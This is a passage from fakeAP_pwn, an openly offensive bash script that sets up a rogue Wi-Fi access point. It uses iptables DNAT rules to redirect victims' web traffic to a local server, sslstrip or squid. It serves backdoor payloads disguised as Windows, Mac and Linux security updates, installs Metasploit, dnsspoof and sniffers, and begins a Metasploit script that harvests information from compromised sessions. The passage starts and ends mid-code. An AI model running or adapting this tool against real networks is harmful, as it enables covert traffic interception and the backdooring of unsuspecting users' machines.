| cut -d'|' -f2) lines=$(echo $6 | cut -d'|' -f3) fi $xterm -geometry 84x$lines+$x+$y -T "fakeAP_pwn v$version - $1" -e "$command" return 0 else display error "action. Error code: $error" $diagnostics echo -e "---------------------------------------------------------------------------------------------\n-->ERROR: action (Error code: $error): $1 , $2 , $3 , $4 , $5 , $6, $7" >> $logFile ; return 1 fi } function display(){ # display type message $diagnostics error="free" if [ "$1" == "" ] || [ "$2" == "" ] ; then error="1" ; fi # Coding error if [ "$1" != "action" ] && [ "$1" != "info" ] && [ "$1" != "diag" ] && [ "$1" != "error" ] ; then error="5"; fi # Coding error if [ "$error" == "free" ] ; then output="" if [ "$1" == "action" ] ; then output="\e[01;32m[>]\e[00m" ; fi if [ "$1" == "info" ] ; then output="\e[01;33m[i]\e[00m" ; fi if [ "$1" == "diag" ] ; then output="\e[01;34m[+]\e[00m" ; fi if [ "$1" == "error" ] ; then output="\e[01;31m[-]\e[00m" ; fi output="$output $2" echo -e "$output" if [ "$3" == "true" ] ; then if [ "$1" == "action" ] ; then output="[>]" ; fi if [ "$1" == "info" ] ; then output="[i]" ; fi if [ "$1" == "diag" ] ; then output="[+]" ; fi if [ "$1" == "error" ] ; then output="[-]" ; fi echo -e "---------------------------------------------------------------------------------------------\n$output $2" >> $logFile fi return 0 else display error "display. Error code: $error" $logFile echo -e "---------------------------------------------------------------------------------------------\n-->ERROR: display (Error code: $error): $1 , $2 , $3 " >> $logFile ; return 1 fi } function ipTables() { #ipTables mode $verbose $diagnostics $apInterface $interface $gatewayIP error="free" if [ "$1" == "" ] ; then error="1" ; fi # Coding error if [ "$1" != "clear" ] && [ "$1" != "force" ] && [ "$1" != "transparent" ] && [ "$1" != "squid" ] && [ "$1" != "sslstrip" ] ; then error="2" ; fi # Coding error if [ "$1" == "force" ] && [ "$4" == "" ] ; then error="3" ; fi # Coding error if [ "$1" == "transparent" ] && [ "$4" == "" ] ; then error="4" ; fi # Coding error if [ "$1" == "transparent" ] && [ "$5" == "" ] ; then error="5" ; fi # Coding error if [ "$1" == "transparent" ] && [ "$6" == "" ] ; then error="6" ; fi # Coding error if [ "$error" == "free" ] ; then if [ "$1" == "clear" ] ; then command=" iptables -F ; iptables -X " for table in filter nat mangle ; do iptables -t $table -F # delete the table's rules iptables -t $table -X # delete the table's chains iptables -t $table -Z # zero the table's counters done elif [ "$1" == "force" ] ; then ipTables clear $verbose $diagnostics command=" iptables --table nat --append PREROUTING --in-interface $4 -p tcp --destination-port 80 --jump DNAT --to 10.0.0.1:80 ; iptables --table nat --append PREROUTING --in-interface $4 -p tcp --destination-port 443 --jump DNAT --to 10.0.0.1:80 ; iptables --table nat --append PREROUTING --in-interface $5 -p tcp -j REDIRECT" elif [ "$1" == "transparent" ] ; then ipTables clear $verbose $diagnostics # iptables -P INPUT DROP ; command="iptables -P OUTPUT ACCEPT ; iptables --append INPUT --in-interface lo --jump ACCEPT ; iptables --append OUTPUT --out-interface lo --jump ACCEPT ; iptables --append INPUT --in-interface $5 -m state --state ESTABLISHED,RELATED --jump ACCEPT ; iptables --table nat --append POSTROUTING --out-interface $5 --jump MASQUERADE ; iptables --append FORWARD --in-interface $4 --jump ACCEPT ; iptables --append INPUT --in-interface $4 --jump ACCEPT ; iptables --append OUTPUT --out-interface $4 --jump ACCEPT" elif [ "$1" == "squid" ] ; then ipTables transparent $verbose $diagnostics $apInterface $interface $gatewayIP command=" iptables --table nat --append PREROUTING --in-interface $4 -p tcp --destination-port 80 --jump DNAT --to 10.0.0.1:3128 ; iptables --table nat --append PREROUTING --in-interface $5 -p tcp --destination-port 80 --jump REDIRECT --to-port 3128" elif [ "$1" == "sslstrip" ] ; then ipTables transparent $verbose $diagnostics $apInterface $interface $gatewayIP command="iptables --table nat --append PREROUTING -p tcp --destination-port 80 --jump REDIRECT --to-port 10000" fi action "iptables" "$command" $2 $3 "true" $logFile if [ "$3" == "true" ] ; then echo "-iptables------------------------------------" >> $logFile iptables -L >> $logFile echo "-iptables (nat)--------------------------" >> $logFile iptables -L -t nat >> $logFile fi return 0 else display error "iptables. Error code: $error" echo -e "---------------------------------------------------------------------------------------------\n-->ERROR: iptables (Error code: $error): $1, $2, $3, $4, $4, $5, $6" >> $logFile ; return 1 fi } #----------------------------------------------------------------------------------------------# echo -e "\e[01;36m[*]\e[00m fakeAP_pwn v$version" while getopts "i:w:t:e:c:y:m:p:b:h:q:rz:a:xdvVu?" OPTIONS; do case ${OPTIONS} in i ) export interface=$OPTARG;; w ) export wifiInterface=$OPTARG;; t ) export monitorInterface=$OPTARG;; e ) export ESSID=$OPTARG;; c ) export channel=$OPTARG;; y ) export apType=$OPTARG;; m ) export mode=$OPTARG;; p ) export payload=$OPTARG;; b ) export backdoorPath=$OPTARG;; h ) export www=$OPTARG;; z ) export mtu=$OPTARG;; q ) export respond2All="true";; z ) export fakeAPmac=$OPTARG;; a ) export macAddress=$OPTARG;; x ) export extras="true";; d ) export diagnostics="true";; v ) export verbose="1";; V ) export verbose="2";; u ) update;; ? ) help;; * ) display error "Unknown option." $diagnostics;; # Default esac done if [ "$debug" == "true" ] ; then display info "Debug mode" $diagnostics fi if [ "$diagnostics" == "true" ] ; then display diag "Diagnostics mode" $diagnostics echo -e "fakeAP_pwn v$version\n$(date)" > $logFile echo "fakeAP_pwn.sh" $* >> $logFile fi #----------------------------------------------------------------------------------------------# display action "Testing: Environment" $diagnostics if [ "$(id -u)" != "0" ] ; then display error "Not a superuser." $diagnostics 1>&2; cleanup user; fi command="" if [ -e "/tmp/fakeAP_pwn.rb" ] ; then command="$command /tmp/fakeAP_pwn.rb" ; fi if [ -e "/tmp/fakeAP_pwn.dhcp" ] ; then command="$command /tmp/fakeAP_pwn.dhcp" ; fi if [ -e "/tmp/fakeAP_pwn.dns" ] ; then command="$command /tmp/fakeAP_pwn.dns" ; fi if [ -e "/tmp/fakeAP_pwn.wkv" ] ; then command="$command /tmp/fakeAP_pwn.wkv" ; fi if [ -e "/tmp/fakeAP_pwn.lock" ] ; then command="$command /tmp/fakeAP_pwn.lock" ; fi if [ -e "/tmp/fakeAP_pwn.hostapd" ] ; then command="$command /tmp/fakeAP_pwn.hostapd" ; fi if [ -e "/tmp/fakeAP_pwn.dsniff" ] ; then command="$command /tmp/fakeAP_pwn.dsniff" ; fi if [ -e "/tmp/fakeAP_pwn.ssl" ] ; then command="$command /tmp/fakeAP_pwn.ssl" ; fi if [ -e "/tmp/fakeAP_pwn.squid" ] ; then command="$command /tmp/fakeAP_pwn.squid" ; fi if [ -e "/tmp/fakeAP_pwn.pl" ] ; then command="$command /tmp/fakeAP_pwn.pl" ; fi if [ -e "/tmp/hostapd.dump" ] ; then command="$command /tmp/hostapd.dump" ; fi if [ -e "$www/kernal_1.83.90-5+lenny2_i386.deb" ] ; then command="$command $www/kernal_1.83.90-5+lenny2_i386.deb" ; fi if [ -e "$www/SecurityUpdate1-83-90-5.dmg.bin" ] ; then command="$command $www/SecurityUpdate1-83-90-5.dmg.bin" ; fi if [ -e "$www/Windows-KB183905-x86-ENU.exe" ] ; then command="$command $www/Windows-KB183905-x86-ENU.exe" ; fi if [ -e "/etc/apache2/sites-available/fakeAP_pwn" ] ; then command="$command /etc/apache2/sites-available/fakeAP_pwn" ; fi if [ "$command" != "" ] ; then action "Removing old files" "rm -rfv $command" $verbose $diagnostics "true" ; fi if [ "$ESSID" == "" ] ; then display error "ESSID can't be blank" $diagnostics 1>&2; cleanup; fi if [ "$wifiInterface" == "" ] ; then display error "wifiInterface can't be blank" $diagnostics 1>&2; cleanup; fi if [ "$channel" == "" ] ; then display error "channel can't be blank" $diagnostics 1>&2; cleanup; fi if [ "$apType" == "airbase-ng" ] && [ "$monitorInterface" == "" ] ; then display error "monitorInterface ($monitorInterface) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$apType" == "" ] || [ "$apType" != "airbase-ng" ] && [ "$apType" != "hostapd" ] ; then display error "apType ($apType) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$payload" == "" ] || [ "$payload" != "sbd" ] && [ "$payload" != "vnc" ] && [ "$payload" != "wkv" ] && [ "$payload" != "other" ] ; then display error "payload ($payload) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$mode" == "" ] || [ "$mode" != "normal" ] && [ "$mode" != "transparent" ] && [ "$mode" != "non" ] && [ "$mode" != "flip" ] ; then display error "mode ($mode) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$apType" == "airbase-ng" ] || [ "$respond2All" == "" ] && [ "$respond2All" != "true" ] && [ "$respond2All" != "false" ] ; then display error "respond2All ($respond2All) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$fakeAPmac" == "" ] || [ "$fakeAPmac" != "random" ] && [ "$fakeAPmac" != "set" ] && [ "$fakeAPmac" != "false" ] ; then display error "fakeAPmac ($fakeAPmac) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$macAddress" == "" ] || ! [ $(echo $macAddress | egrep "^([0-9a-fA-F]{2}\:){5}[0-9a-fA-F]{2}$") ] ; then display error "macAddress ($macAddress) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$extras" == "" ] || [ "$extras" != "true" ] && [ "$extras" != "false" ] ; then display error "extras ($extras) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$debug" == "" ] || [ "$debug" != "true" ] && [ "$debug" != "false" ] ; then display error "debug ($debug) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$diagnostics" == "" ] || [ "$diagnostics" != "true" ] && [ "$diagnostics" != "false" ] ; then display error "diagnostics ($diagnostics) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$verbose" == "" ] || [ "$verbose" != "0" ] && [ "$verbose" != "1" ] && [ "$verbose" != "2" ] ; then display error "verbose ($verbose) isn't correct" $diagnostics 1>&2; cleanup; fi if [ "$apType" == "airbase-ng" ] ; then apInterface=at0 else apInterface=$wifiInterface fi command=$(iwconfig $wifiInterface 2>/dev/null | grep "802.11" | cut -d" " -f1) if [ ! $command ]; then display error "$wifiInterface isn't a wireless interface." $diagnostics display info "Searching for a wireless interface" $diagnostics command=$(iwconfig 2>/dev/null | grep "802.11" | cut -d" " -f1) #| awk '!/"'"$interface"'"/' if [ $command ] ; then wifiInterface=$command display info "Found $wifiInterface" $diagnostics else display error "Couldn't find a wireless interface." $diagnostics 1>&2 cleanup fi fi if [ "$mode" != "non" ] ; then if [ "$interface" == "" ] ; then display error "interface can't be blank" $diagnostics 1>&2; cleanup; fi if [ "$interface" == "$wifiInterface" ] ; then display error "interface and wifiInterface can't be the same!" $diagnostics 1>&2; cleanup; fi ourIP=$(ifconfig $interface | awk '/inet addr/ {split ($2,A,":"); print A[2]}') fi if [ "$diagnostics" == "true" ] ; then echo "-Settings------------------------------------------------------------------------------------ interface=$interface wifiInterface=$wifiInterface monitorInterface=$monitorInterface apInterface=$apInterface ESSID=$ESSID channel=$channel apType=$apType mode=$mode payload=$payload backdoorPath=$backdoorPath www=$www mtu=$mtu respond2All=$respond2All fakeAPmac=$fakeAPmac macAddress=$macAddress extras=$extras debug=$debug diagnostics=$diagnostics verbose=$verbose gatewayIP=$gatewayIP ourIP=$ourIP port=$port -Environment---------------------------------------------------------------------------------" >> $logFile display diag "Detecting: Kernal" $diagnostics uname -a >> $logFile display diag "Detecting: Hardware" $diagnostics lspci -knn >> $logFile display diag "Testing: Network" $diagnostics echo "-ifconfig--------------------------------" >> $logFile ifconfig >> $logFile echo "-ifconfig -a-----------------------------" >> $logFile ifconfig -a >> $logFile if [ "$mode" != "non" ] ; then echo "-Ping------------------------------------" >> $logFile action "Ping" "ping -I $interface -c 4 $ourIP" $verbose $diagnostics "true" action "Ping" "ping -I $interface -c 4 $gatewayIP" $verbose $diagnostics "true" fi fi if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display diag "Testing: Internet connection" $diagnostics ; fi command=$(ping -I $interface -c 1 google.com >/dev/null) if ! eval $command ; then display error "Internet access: Failed." $diagnostics display info "Switching mode to: non (No Internet access after infection)" $diagnostics mode="non" if [ "$diagnostics" == "true" ] ; then echo "--> Internet access: Failed" >> $logFile; fi else if [ "$diagnostics" == "true" ] ; then echo "--> Internet access: Okay" >> $logFile; fi fi if [ "$debug" == "true" ] || [ "$verbose" != "0" ] ; then display info " interface=$interface \e[01;33m[i]\e[00m wifiInterface=$wifiInterface \e[01;33m[i]\e[00m monitorInterface=$monitorInterface \e[01;33m[i]\e[00m apInterface=$apInterface \e[01;33m[i]\e[00m ESSID=$ESSID \e[01;33m[i]\e[00m channel=$channel \e[01;33m[i]\e[00m apType=$apType \e[01;33m[i]\e[00m mode=$mode \e[01;33m[i]\e[00m payload=$payload \e[01;33m[i]\e[00m backdoorPath=$backdoorPath \e[01;33m[i]\e[00m www=$www \e[01;33m[i]\e[00m mtu=$mtu \e[01;33m[i]\e[00m respond2All=$respond2All \e[01;33m[i]\e[00m fakeAPmac=$fakeAPmac \e[01;33m[i]\e[00m macAddress=$macAddress \e[01;33m[i]\e[00m extras=$extras \e[01;33m[i]\e[00m debug=$debug \e[01;33m[i]\e[00m diagnostics=$diagnostics \e[01;33m[i]\e[00m verbose=$verbose \e[01;33m[i]\e[00m gatewayIP=$gatewayIP \e[01;33m[i]\e[00m ourIP=$ourIP \e[01;33m[i]\e[00m port=$port" fi if [ ! -e "$www/index.php" ] ; then if [ ! -d "$www/" ] ; then if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Copying www/" $diagnostics ; fi mkdir -p $www action "Copying www/" "cp -rf www/* $www/" $verbose $diagnostics "true" fi if [ ! -e "$www/index.php" ] ; then display error "Missing index.php. Did you run: cp -rf www/* $www/" $diagnostics 1>&2 cleanup fi fi if [ "$apType" == "airbase-ng" ] ; then if [ ! -e "/usr/sbin/airmon-ng" ] && [ ! -e "/usr/local/sbin/airmon-ng" ] ; then display error "aircrack-ng isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install aircrack-ng" "apt-get -y install aircrack-ng" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/sbin/airmon-ng" ] && [ ! -e "/usr/local/sbin/airmon-ng" ] ; then display error "Failed to install aircrack-ng" $diagnostics 1>&2 cleanup else display info "Installed aircrack-ng" $diagnostics fi fi elif [ "$apType" == "hostapd" ] ; then if [ ! -e "/usr/sbin/hostapd" ] && [ ! -e "/usr/local/bin/hostapd" ] ; then display error "hostapd isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install hostapd" "wget -P /tmp http://people.suug.ch/~tgr/libnl/files/libnl-1.1.tar.gz && tar -C /tmp -xvf /tmp/libnl-1.1.tar.gz && rm /tmp/libnl-1.1.tar.gz" $verbose $diagnostics "true" action "Install hostapd" "command=$(pwd) && cd /tmp/libnl-1.1 && ./configure && cd $command" $verbose $diagnostics "true" find="#include " replace="#include \n#include " sed "s/$replace/$find/g" "/tmp/libnl-1.1/include/netlink-local.h" > "/tmp/libnl-1.1/include/netlink-local.h.new" mv -f "/tmp/libnl-1.1/include/netlink-local.h.new" "/tmp/libnl-1.1/include/netlink-local.h" action "Install hostapd" "make -C /tmp/libnl-1.1" $verbose $diagnostics "true" action "Install hostapd" "make install -C /tmp/libnl-1.1" $verbose $diagnostics "true" action "Install hostapd" "wget -P /tmp http://hostap.epitest.fi/releases/hostapd-0.7.2.tar.gz && tar -C /tmp -xvf /tmp/hostapd-0.7.2.tar.gz && rm /tmp/hostapd-0.7.2.tar.gz" $verbose $diagnostics "true" find="#CONFIG_DRIVER_NL80211=y" replace="CONFIG_DRIVER_NL80211=y" sed "s/$replace/$find/g" /tmp/hostapd-0.7.2/hostapd/defconfig > /tmp/hostapd-0.7.2/hostapd/.config action "Install hostapd" "make -C /tmp/hostapd-0.7.2/hostapd/" $verbose $diagnostics "true" action "Install hostapd" "make install -C /tmp/hostapd-0.7.2/hostapd/" $verbose $diagnostics "true" if [ ! -e "/usr/sbin/hostapd" ] && [ ! -e "/usr/local/bin/hostapd" ] ; then action "Install hostapd" "apt-get -y install hostapd" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/sbin/hostapd" ] && [ ! -e "/usr/local/bin/hostapd" ] ; then display error "Failed to install hostapd." $diagnostics 1>&2 cleanup else display info "Installed hostapd." $diagnostics fi fi fi fi if [ ! -e "/usr/bin/macchanger" ] ; then display error "macchanger isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install macchanger" "apt-get -y install macchanger" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/bin/macchanger" ] ; then display error "Failed to install macchanger" $diagnostics 1>&2 cleanup else display info "Installed macchanger" $diagnostics fi fi if [ ! -e "/usr/sbin/dhcpd3" ] ; then display error "dhcpd3 isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install dhcpd3" "apt-get -y install dhcp3-server" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/sbin/dhcpd3" ] ; then display error "Failed to install dhcpd3" $diagnostics 1>&2 cleanup; else display info "Installed dhcpd3" $diagnostics fi fi if [ ! -e "/usr/sbin/dnsspoof" ] ; then display error "dnsspoof isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install dnsspoof" "apt-get -y install dsniff" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/sbin/dnsspoof" ] ; then display error "Failed to install dnsspoof" $diagnostics 1>&2 cleanup; else display info "Installed dnsspoof" $diagnostics fi fi if [ "$mode" != "normal" ] ; then if [ ! -e "/usr/sbin/apache2" ] ; then display error "apache2 isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install apache2 php5" "apt-get -y install apache2 php5" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/sbin/apache2" ] ; then display error "Failed to install apache2" $diagnostics 1>&2 cleanup else display info "Installed apache2 & php5" $diagnostics fi fi fi if [ "$mode" != "normal" ] && [ "$mode" != "flip" ] ; then if [ ! -e "/opt/metasploit3/bin/msfconsole" ] ; then display error "Metasploit isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install metasploit" "apt-get -y install framework3" $verbose $diagnostics "true" ; fi if [ ! -e "/opt/metasploit3/bin/msfconsole" ] ; then action "Install metasploit" "apt-get -y install metasploit" $verbose $diagnostics "true" ; fi if [ ! -e "/opt/metasploit3/bin/msfconsole" ] ; then display error "Failed to install metasploit" $diagnostics 1>&2 cleanup else display info "Installed metasploit" $diagnostics fi fi if [ "$payload" == "sbd" ] ; then if [ ! -e "/usr/local/bin/sbd" ] ; then display error "sbd isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install sbd" "apt-get -y install sbd" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/local/bin/sbd" ] ; then display error "Failed to install sbd" $diagnostics 1>&2 cleanup else display info "Installed sbd" fi fi elif [ "$payload" == "vnc" ] ; then if [ ! -e "/usr/bin/vncviewer" ] ; then display error "vnc isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install vnc" "apt-get -y install vnc" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/bin/vncviewer" ] ; then display error "Failed to install vnc" $diagnostics 1>&2 cleanup else display info "Installed vnc" $diagnostics fi fi elif [ "$payload" == "wkv" ] ; then if [ ! -e "$www/wkv-x86.exe" ] ; then display error "There isn't a wkv-x86.exe at $www/wkv-x86.exe." $diagnostics 1>&2; cleanup; fi if [ ! -e "$www/wkv-x64.exe" ] ; then display error "There isn't a wkv-x64.exe at $www/wkv-x64.exe." $diagnostics 1>&2; cleanup; fi else if [ ! -e "$backdoorPath" ] ; then display error "There isn't a backdoor at $backdoorPath." $diagnostics 1>&2; cleanup; fi fi fi if [ "$mode" == "flip" ] ; then if [ ! -e "/usr/sbin/squid" ] ; then display error "squid isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install squid" "apt-get -y install squid" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/sbin/squid" ] ; then display error "Failed to install squid" $diagnostics 1>&2 cleanup else display info "Installed squid" fi fi if [ ! -e "/usr/bin/mogrify" ] ; then display error "mogrify isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install mogrify" "apt-get -y install imagemagick" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/sbin/squid" ] ; then display error "Failed to install mogrify" $diagnostics 1>&2 cleanup else display info "Installed mogrify" fi fi fi if [ "$extras" == "true" ] ; then if [ ! -e "/usr/bin/imsniff" ] ; then display error "imsniff isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then "Install imsniff" "apt-get -y install imsniff" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/bin/imsniff" ] ; then display error "Failed to install imsniff" $diagnostics 1>&2 cleanup else display info "Installed imsniff" $diagnostics fi fi if [ ! -e "/usr/bin/driftnet" ] ; then display error "driftnet isn't installed." $diagnostics read -p "[*] Would you like to try and install it? [Y/n]: " -n 1 if [[ $REPLY =~ ^[Yy]$ ]] ; then "Install driftnet" "apt-get -y install driftnet" $verbose $diagnostics "true" ; fi if [ ! -e "/usr/bin/driftnet" ] ; then display error "Failed to install driftnet" $diagnostics 1>&2 cleanup else display info "Installed driftnet" $diagnostics fi fi fi if [ "$mode" != "non" ] ; then action "Resetting interface" "ifconfig $interface up && sleep 1" $verbose $diagnostics "true" #command="ifconfig $interface down && sleep 1 && ifconfig $interface up && sleep 1" fails if you don't have DHCP command=$(ifconfig | grep -q -o "$interface") if [ ! $command == "" ] ; then display error "$interface is down" $diagnostics 1>&2; cleanup; fi # check to make sure $interface came up! command=$(ifconfig | grep $interface | awk '{print $1}') if [ "$command" != "$interface" ] ; then display error "The gateway interface $interface, isn't correct." $diagnostics 1>&2 if [ "$debug" == "true" ] ; then ifconfig; fi display info "Switching mode to: non (No Internet access after infection)" $diagnostics mode="non" fi if [ -z "$ourIP" ] && [ "$mode" != "non" ] ; then # not sure if this 100% correct action "Acquiring an IP Address" "dhclient $interface" $verbose $diagnostics "true" sleep 3 command=$(ifconfig $interface | awk '/inet addr/ {split ($2,A,":"); print A[2]}') if [ -z "$command" ] ; then display error "IP Problem. Haven't got an IP address on $interface." $diagnostics 1>&2 pidcheck=$(ps aux | grep $interface | awk '!/grep/ && !/awk/ && !/fakeAP_pwn/ {print $2}' | while read line; do echo -n "$line "; done | awk '{print}') if [ -n "$pidcheck" ] ; then kill $pidcheck fi display info "Switching mode to: non (No Internet access after infection)" $diagnostics mode="non" else ourIP=$command fi command=$(route -n | awk '/^0.0.0.0/ {getline; print $2}') if [ "$command" == "" ] ; then display error "Gateway IP Problem. Can't detect the gateway on $interface." $diagnostics 1>&2 display info "Switching mode to: non (No Internet access after infection)" $diagnostics mode="non" gatewayIP="10.0.0.1" # For DHCP else gatewayIP=$command fi fi else gatewayIP="10.0.0.1" # For DHCP fi command=$(ifconfig -a | grep $wifiInterface | awk '{print $1}') if [ "$command" != "$wifiInterface" ] ; then display error "The wireless interface $wifiInterface, isn't correct." $diagnostics 1>&2 if [ "$debug" == "true" ] ; then iwconfig; fi cleanup fi #----------------------------------------------------------------------------------------------# if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] ; then display action "Stopping: Programs" $diagnostics ; fi action "Killing 'Programs'" "killall dhcpd3 apache2 wicd-client airbase-ng hostapd xterm" $verbose $diagnostics "true" # Killing "wicd-client" to prevent channel hopping if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] ; then display action "Stopping: Daemons" $diagnostics ; fi action "Killing 'dhcp3 service'" "/etc/init.d/dhcp3-server stop" $verbose $diagnostics "true" if [ "$mode" == "flip" ] ; then action "Killing 'squid service'" "/etc/init.d/squid stop" $verbose $diagnostics "true" ; fi if [ "$mode" != "normal" ] ; then action "Killing 'apache2 service'" "/etc/init.d/apache2 stop" $verbose $diagnostics "true" ; fi action "Killing 'wicd service'" "/etc/init.d/wicd stop" $verbose $diagnostics "true" # Stopping wicd to prevent channel hopping #----------------------------------------------------------------------------------------------# display action "Configuring: Wireless card" $diagnostics if [ "$apType" == "airbase-ng" ] ; then command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}') if [ "$command" == "$monitorInterface" ] ; then action "Monitor Mode (Stopping)" "airmon-ng stop $monitorInterface" $verbose $diagnostics "true" sleep 1 fi fi action "Refreshing $wifiInterface" "ifconfig $wifiInterface down && sleep 1 && ifconfig $wifiInterface up" $verbose $diagnostics "true" command=$(ifconfig | grep -q -o "$wifiInterface") if [ ! $command == "" ] ; then display error "$wifiInterface is down" $diagnostics 1>&2; cleanup; fi # check to make sure $interface came up! command=$(ps aux | grep $wifiInterface | awk '!/grep/ && !/awk/ && !/fakeAP_pwn/ {print $2}' | while read line; do echo -n "$line "; done | awk '{print}') if [ -n "$command" ] ; then action "Killing programs" "kill $command" $verbose $diagnostics "true" # to prevent interference fi if [ "$apType" == "airbase-ng" ] ; then action "Monitor Mode (Starting)" "airmon-ng start $wifiInterface" $verbose $diagnostics "true" #monitorInterface2=$(airmon-ng start $wifiInterface | awk '/monitor mode enabled on/{print $5}' | sed 's/\(.*\)./\1/') sleep 1 ifconfig mon0 mtu $mtu command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}') if [ "$command" != "$monitorInterface" ] ; then sleep 5 # Some people need to wait a little bit longer (e.g. VM), some don't. Don't force the ones that don't need it! command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}') if [ "$command" != "$monitorInterface" ] ; then display error "The monitor interface $monitorInterface, isn't correct." $diagnostics 1>&2 if [ "$debug" == "true" ] ; then iwconfig; fi cleanup fi fi fi if [ "$apType" == "airbase-ng" ] ; then command=$(iwconfig $interface 2>/dev/null | grep "802.11" | cut -d" " -f1) if [ $command ] ; then # $interface is WiFi. Therefore two WiFi cards command=$(iwlist $interface scan 2>/dev/null | grep "ESSID:") if [ "$diagnostics" == "true" ] ; then echo -e $command >> $logFile ; fi if [ ! -z "$command" ] ; then # checking for a access point to test as we haven't created one yet if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display diag "Testing: Wireless Injection" $diagnostics ; fi command=$(aireplay-ng --test $monitorInterface -i $monitorInterface) if [ "$diagnostics" == "true" ] ; then echo -e $command >> $logFile ; fi if [ -z "$(echo \"$command\" | grep 'Injection is working')" ] ; then display error "$monitorInterface doesn't support packet injecting." $diagnostics 1>&2 elif [ -z "$(echo \"$command\" | grep 'Found 0 APs')" ] ; then display error "Couldn't test packet injection" $diagnostics 1>&2; fi fi fi fi #----------------------------------------------------------------------------------------------# if [ "$apType" == "airbase-ng" ] ; then if [ "$fakeAPmac" == "random" ] || [ "$fakeAPmac" == "set" ] ; then if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Configuring: MAC address" $diagnostics ; fi command="ifconfig $monitorInterface down &&" if [ "$fakeAPmac" == "random" ] ; then command="$command macchanger -A $monitorInterface"; fi if [ "$fakeAPmac" == "set" ] ; then command="$command macchanger -m $macAddress $monitorInterface"; fi action "Changing MAC Address of FakeAP" "$command && ifconfig $monitorInterface up" $verbose $diagnostics "true" sleep 2 fi if [ "$debug" == "true" ] || [ "$verbose" != "0" ] ; then macAddress=$(macchanger --show $monitorInterface | awk -F " " '{print $3}') macAddressType=$(macchanger --show $monitorInterface | awk -F "Current MAC: " '{print $2}') display info " macAddress=$macAddressType" $diagnostics fi elif [ "$apType" == "hostapd" ] ; then if [ "$fakeAPmac" == "random" ] || [ "$fakeAPmac" == "set" ] ; then if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Configuring: MAC address" $diagnostics ; fi command="ifconfig $wifiInterface down &&" if [ "$fakeAPmac" == "random" ] ; then command="$command macchanger -A $wifiInterface"; fi if [ "$fakeAPmac" == "set" ] ; then command="$command macchanger -m $macAddress $wifiInterface"; fi action "Changing MAC Address of FakeAP" "$command && ifconfig $wifiInterface up" $verbose $diagnostics "true" sleep 2 fi if [ "$debug" == "true" ] || [ "$verbose" != "0" ] ; then macAddress=$(macchanger --show $wifiInterface | awk -F " " '{print $3}') macAddressType=$(macchanger --show $wifiInterface | awk -F "Current MAC: " '{print $2}') display info " macAddress=$macAddressType" $diagnostics fi fi #----------------------------------------------------------------------------------------------# display action "Creating: Scripts" $diagnostics if [ "$mode" != "normal" ] && [ "$mode" != "flip" ] ; then path="/tmp/fakeAP_pwn.rb" # metasploit script if [ -e "$path" ] ; then rm "$path"; fi echo "# ID: fakeAP_pwn.rb v$version # Author: g0tmi1k at http://g0tmi1k.blogspot.com ################## Variable Declarations ################## @client = client host,port = session.tunnel_peer.split(':') os = @client.sys.config.sysinfo['OS'] host = @client.sys.config.sysinfo['Computer'] arch = @client.sys.config.sysinfo['Architecture'] user = @client.sys.config.getuid date = 